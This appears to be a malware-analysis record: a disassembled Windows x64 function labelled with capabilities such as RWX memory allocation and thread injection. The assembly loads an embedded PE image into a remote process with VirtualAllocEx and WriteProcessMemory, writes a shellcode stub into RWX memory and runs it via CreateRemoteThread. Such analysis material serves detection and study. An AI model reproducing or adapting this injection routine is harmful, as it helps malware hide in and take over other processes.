Function at 0x140092170
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x90
mov rax, qword [0x1403687c8]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbp, rcx
mov ecx, 0x138e00
call fcn.14009bf18
mov r8d, 0x138e00
lea rdx, [0x14022f850]
mov rcx, rax
mov r14, rax
call fcn.140097850
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x1400923cd
movsxd rsi, dword [r14 + 0x3c]
xor edx, edx
mov rcx, qword [rbp + 0x18]
add rsi, r14
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rsi + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x1400923cd
xor r12d, r12d
lea rdx, [0x1400cd1f0]
xorps xmm0, xmm0
mov qword [rsp + 0x74], r12
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x7c], r12d
movups xmmword [rsp + 0x40], xmm0
lea r8d, [r12 + 0xc]
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
call fcn.14006aaf0
lea rdx, [rsp + 0x40]
mov rcx, rbp
call fcn.140090fd0
xorps xmm0, xmm0
mov dword [rsp + 0x68], eax
lea r8d, [r12 + 0xe]
mov qword [rsp + 0x50], r12
lea rdx, [0x1400cf100]
mov qword [rsp + 0x58], r12
lea rcx, [rsp + 0x40]
movups xmmword [rsp + 0x40], xmm0
call fcn.14006aaf0
lea rdx, [rsp + 0x40]
mov rcx, rbp
call fcn.140090fd0
mov rcx, qword [rbp + 0x18]
mov r9d, 0x1000
mov r8, r14
mov dword [rsp + 0x6c], eax
mov rdx, r15
mov dword [rsp + 0x70], r15d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400923cd
movzx ebx, word [rsi + 0x14]
mov edi, r12d
add rbx, 0x2c
cmp word [rsi + 6], di
je 0x1400922f3
add rbx, rsi
nop dword [rax + rax]
mov eax, dword [rbx - 4]
test eax, eax
je 0x1400922e5
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r14
mov rcx, qword [rbp + 0x18]
add rdx, r15
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rsi + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x1400922c0
mov rcx, qword [rbp + 0x18]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400923cd
mov rcx, qword [rbp + 0x18]
lea r8, [rsp + 0x68]
mov r9d, 0x18
mov qword [rsp + 0x20], r12
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400923cd
mov rcx, qword [rbp + 0x18]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x1400923cd
mov rcx, qword [rbp + 0x18]
lea r8, [0x14022f6c0]
mov r9d, 0x1000
mov qword [rsp + 0x20], r12
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400923cd
mov rcx, qword [rbp + 0x18]
mov r9, rbx
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], r12d
xor edx, edx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor r8d, r8d
mov edx, 0xffffffff
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400923cf
xor al, al
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140095720
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret